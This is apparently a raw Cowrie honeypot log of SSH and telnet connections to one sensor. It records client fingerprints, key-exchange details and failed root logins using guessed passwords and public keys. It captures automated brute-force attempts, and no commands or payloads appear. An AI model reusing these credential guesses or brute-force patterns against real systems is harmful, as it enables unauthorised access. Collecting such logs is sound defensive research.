{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:10.161201Z","src_ip":"102.88.137.145","session":"20683cbb54b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:10.340060Z","src_ip":"102.88.137.145","session":"20683cbb54b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv.1234","message":"login attempt [root/zxcv.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:11.085423Z","src_ip":"102.88.137.145","session":"20683cbb54b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56706,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cfc5aecab96","protocol":"telnet","message":"New connection: 192.119.13.58:56706 (10.17.0.5:23) [session: 8cfc5aecab96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:11.749339Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:12.268597Z","src_ip":"102.88.137.145","session":"20683cbb54b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34240,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b525639c746","protocol":"telnet","message":"New connection: 192.119.13.58:34240 (10.17.0.5:23) [session: 2b525639c746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:13.274071Z"}
{"eventid":"cowrie.session.closed","duration":33.698493003845215,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:14.101807Z","src_ip":"192.119.13.58","session":"e7bc2ce5fc13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":64204,"dst_ip":"10.17.0.5","dst_port":22,"session":"89e02366a4ea","protocol":"ssh","message":"New connection: 89.110.87.138:64204 (10.17.0.5:22) [session: 89e02366a4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:15.581454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:15.585680Z","src_ip":"89.110.87.138","session":"89e02366a4ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:15.708104Z","src_ip":"89.110.87.138","session":"89e02366a4ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vanessa","message":"login attempt [root/vanessa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:16.229464Z","src_ip":"89.110.87.138","session":"89e02366a4ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:17.355195Z","src_ip":"89.110.87.138","session":"89e02366a4ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.119240283966064,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:20.381155Z","src_ip":"192.119.13.58","session":"85bb90f69b7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36652,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7eb15052532","protocol":"telnet","message":"New connection: 192.119.13.58:36652 (10.17.0.5:23) [session: d7eb15052532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:21.590063Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58924,"dst_ip":"10.17.0.5","dst_port":23,"session":"90f0b675cb9b","protocol":"telnet","message":"New connection: 192.119.13.58:58924 (10.17.0.5:23) [session: 90f0b675cb9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:27.502750Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38424,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc2b1afd61d5","protocol":"telnet","message":"New connection: 192.119.13.58:38424 (10.17.0.5:23) [session: bc2b1afd61d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:37.564420Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.26.43","src_port":43720,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cb5478f5869","protocol":"ssh","message":"New connection: 103.149.26.43:43720 (10.17.0.5:22) [session: 1cb5478f5869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:37.603073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:37.608093Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:37.824506Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:d6:de:6b:8e:68:04:94:2c:a5:ae:73:81:9b:87:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4wo9f/iZMIFuzKRZ4Uc6rpIQuBy7ssGPQ2pVH1Xxc3zpXAboVPm2FdaHxyWBEgOjl/FhyYwdNj/J7zlaLGfdpb1jDerCxGHir/YDIlb8lqHFhHrfLjqCPFoPIns3AtImItDWYLqyFKtdIvGAfdJYpz428l7YfRafv/cFo5g3hI9GQSV1tQ062yiVnC2wlMA56AuB/rMbPL26BxZbsOdHtJyfyq4DgCWzBVfO79xeD2ZJSoaIlf9XggPiJ5Rw7oec8dUfuSemmUWbVPX4xUsw1Y0cK5ajjDYA0FO+T5hOFEKwRXwXdlx0jfdVIbq0jfvBuXpWQV1uiIojpzMk2CXDL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:d6:de:6b:8e:68:04:94:2c:a5:ae:73:81:9b:87:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:38.883093Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:d6:de:6b:8e:68:04:94:2c:a5:ae:73:81:9b:87:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4wo9f/iZMIFuzKRZ4Uc6rpIQuBy7ssGPQ2pVH1Xxc3zpXAboVPm2FdaHxyWBEgOjl/FhyYwdNj/J7zlaLGfdpb1jDerCxGHir/YDIlb8lqHFhHrfLjqCPFoPIns3AtImItDWYLqyFKtdIvGAfdJYpz428l7YfRafv/cFo5g3hI9GQSV1tQ062yiVnC2wlMA56AuB/rMbPL26BxZbsOdHtJyfyq4DgCWzBVfO79xeD2ZJSoaIlf9XggPiJ5Rw7oec8dUfuSemmUWbVPX4xUsw1Y0cK5ajjDYA0FO+T5hOFEKwRXwXdlx0jfdVIbq0jfvBuXpWQV1uiIojpzMk2CXDL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:38.886800Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:c9:13:a4:05:28:28:d8:c0:97:61:1f:b5:43:4c:8f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOHU7h4e7IEpT6rqC0KVpRNdPgDR0GtiTh9tWqJiPukL","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f8:c9:13:a4:05:28:28:d8:c0:97:61:1f:b5:43:4c:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:39.103386Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:c9:13:a4:05:28:28:d8:c0:97:61:1f:b5:43:4c:8f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOHU7h4e7IEpT6rqC0KVpRNdPgDR0GtiTh9tWqJiPukL","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:39.106127Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:90:b1:13:ba:da:48:9f:3f:74:a5:2b:21:1b:ba:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuZfp8929wvLVeOrqqp1lAaVhTCItOJ89jgb4wI+HgspCTIbofL7YC/QdGGr3Xu7yRzplIpZVwAHY+vykuHquOxHCrJf5wQgx0AmzdGcd3WREG8BSmxef63JRkGSkq9LfamCP7MYDtF9aQN29Dw2LM9JYExY+rm0LCqPSY46x73unYzGk70dH8EeHC+tvZqzE3RvoydK5rm9/TmVjlxLda+tk8Oh2CXFkL9tisJIAxljVeIeO9mc9HsyQ/3jvn91hYEg7ekbXy4RAUFZs7HaVbkee7mINNc51+mlvGmZTOfKhX4B+m5Uz1Vlk+LzgldoaFVIQJfruztUPOZVAmCbx9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:90:b1:13:ba:da:48:9f:3f:74:a5:2b:21:1b:ba:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:39.323339Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:90:b1:13:ba:da:48:9f:3f:74:a5:2b:21:1b:ba:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuZfp8929wvLVeOrqqp1lAaVhTCItOJ89jgb4wI+HgspCTIbofL7YC/QdGGr3Xu7yRzplIpZVwAHY+vykuHquOxHCrJf5wQgx0AmzdGcd3WREG8BSmxef63JRkGSkq9LfamCP7MYDtF9aQN29Dw2LM9JYExY+rm0LCqPSY46x73unYzGk70dH8EeHC+tvZqzE3RvoydK5rm9/TmVjlxLda+tk8Oh2CXFkL9tisJIAxljVeIeO9mc9HsyQ/3jvn91hYEg7ekbXy4RAUFZs7HaVbkee7mINNc51+mlvGmZTOfKhX4B+m5Uz1Vlk+LzgldoaFVIQJfruztUPOZVAmCbx9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:39.326556Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:86:93:0a:77:3c:4d:a2:e8:a0:40:6f:41:df:7f:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOycq6n3ehMeEl320nz26HiSSznIDmtXouzUJ6yW4dzvV9lk2UEi6no28GKXtE9FoXrUlr83l8PDfkCNv6BXyGG4BOCLudKCp8RugophB0prDv+UPwA/K0ItJSxfan6YXW6IrB/WaWkhQsKD95+ivQn49o8I4r0FmCM19fr1AXlCQsEwbwUOtgpMy6KZQHWN1XHANnOh+/O7CctRtYFYDN4UROPfWGA+gR9AXFmqBHdy6QmYHlSvkL+0CaLBYnDorcc9op6Mq7bE6xExZMfJSl6P8mnfU25fgoRQ2eUSYLnAPn9oZZiliC17CM4BWJvN0JAM6LoDw9okFrsUU2FGUP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:86:93:0a:77:3c:4d:a2:e8:a0:40:6f:41:df:7f:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:39.541883Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:86:93:0a:77:3c:4d:a2:e8:a0:40:6f:41:df:7f:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOycq6n3ehMeEl320nz26HiSSznIDmtXouzUJ6yW4dzvV9lk2UEi6no28GKXtE9FoXrUlr83l8PDfkCNv6BXyGG4BOCLudKCp8RugophB0prDv+UPwA/K0ItJSxfan6YXW6IrB/WaWkhQsKD95+ivQn49o8I4r0FmCM19fr1AXlCQsEwbwUOtgpMy6KZQHWN1XHANnOh+/O7CctRtYFYDN4UROPfWGA+gR9AXFmqBHdy6QmYHlSvkL+0CaLBYnDorcc9op6Mq7bE6xExZMfJSl6P8mnfU25fgoRQ2eUSYLnAPn9oZZiliC17CM4BWJvN0JAM6LoDw9okFrsUU2FGUP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:39.545414Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:14:9d:fe:ce:f2:66:dc:fd:f3:d4:5f:7b:f6:4c:f9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAK0g7ClES7OqtPB+qLeN3rZa1kTjhYC9t8IcR72xYaAOr++VvNU4KvTVEjmtas7Xxt8GuPYHc6SzLUus6FB1JSuzuZpMgOwdVFfxUxb46O/4ucD9uI5D2Zzov0U6mZZEPlT+D6BxhTvuji1No+qaepaJ06rFuHg8j0k9I8KS5ghNAAAAFQDSxiMc27SPDDlSDCmMWI5Lgyuz1QAAAIBN2lmoDy3Kw04CMxketxInq2XciI2UIcBN06/xFChlQbS2EZr/MhOHTFdqsAZVFxPPT5qoXU8aEzY+h0phQiLxRkVIAdwPktUyIGSXOSe9Cw0V6eMyER9k6+14T4NyXG6kBrGuJaV6Kf2zIXVbrjB4ydsC/l1TZJQjy2NUneYargAAAIEApNpd5i0n+idxPFQMkaD2RzLt4ng3SCiIbg7EquUVsA2Gieajpo3EM1U8Wh9aaJMQWQ0ITVlbm36HzgZymZ9eAoDwpp+XD5lCOVcvb8EiQDe1YGjJiA78iBonfBaFyWadQVAhyroT6thzv50vMM/p54m9z8rj9pPoGif1L1L5pbc=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 47:14:9d:fe:ce:f2:66:dc:fd:f3:d4:5f:7b:f6:4c:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:39.761392Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:14:9d:fe:ce:f2:66:dc:fd:f3:d4:5f:7b:f6:4c:f9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAK0g7ClES7OqtPB+qLeN3rZa1kTjhYC9t8IcR72xYaAOr++VvNU4KvTVEjmtas7Xxt8GuPYHc6SzLUus6FB1JSuzuZpMgOwdVFfxUxb46O/4ucD9uI5D2Zzov0U6mZZEPlT+D6BxhTvuji1No+qaepaJ06rFuHg8j0k9I8KS5ghNAAAAFQDSxiMc27SPDDlSDCmMWI5Lgyuz1QAAAIBN2lmoDy3Kw04CMxketxInq2XciI2UIcBN06/xFChlQbS2EZr/MhOHTFdqsAZVFxPPT5qoXU8aEzY+h0phQiLxRkVIAdwPktUyIGSXOSe9Cw0V6eMyER9k6+14T4NyXG6kBrGuJaV6Kf2zIXVbrjB4ydsC/l1TZJQjy2NUneYargAAAIEApNpd5i0n+idxPFQMkaD2RzLt4ng3SCiIbg7EquUVsA2Gieajpo3EM1U8Wh9aaJMQWQ0ITVlbm36HzgZymZ9eAoDwpp+XD5lCOVcvb8EiQDe1YGjJiA78iBonfBaFyWadQVAhyroT6thzv50vMM/p54m9z8rj9pPoGif1L1L5pbc=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:39.765147Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:39.980663Z","src_ip":"103.149.26.43","session":"1cb5478f5869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.41703510284424,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:53.166246Z","src_ip":"192.119.13.58","session":"8cfc5aecab96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":35628,"dst_ip":"10.17.0.5","dst_port":22,"session":"448e37c92e35","protocol":"ssh","message":"New connection: 43.156.39.221:35628 (10.17.0.5:22) [session: 448e37c92e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:54.464879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:54.469135Z","src_ip":"43.156.39.221","session":"448e37c92e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:54.714619Z","src_ip":"43.156.39.221","session":"448e37c92e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.966580390930176,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:55.240539Z","src_ip":"192.119.13.58","session":"2b525639c746","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"window","message":"login attempt [root/window] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:55.736057Z","src_ip":"43.156.39.221","session":"448e37c92e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54486,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbc7725a969b","protocol":"telnet","message":"New connection: 192.119.13.58:54486 (10.17.0.5:23) [session: bbc7725a969b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:56.701875Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:12:56.983669Z","src_ip":"43.156.39.221","session":"448e37c92e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.30390429496765,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:07.893853Z","src_ip":"192.119.13.58","session":"d7eb15052532","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.875317335128784,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:13:16.439649Z","src_ip":"192.119.13.58","session":"bc2b1afd61d5","protocol":"telnet"}
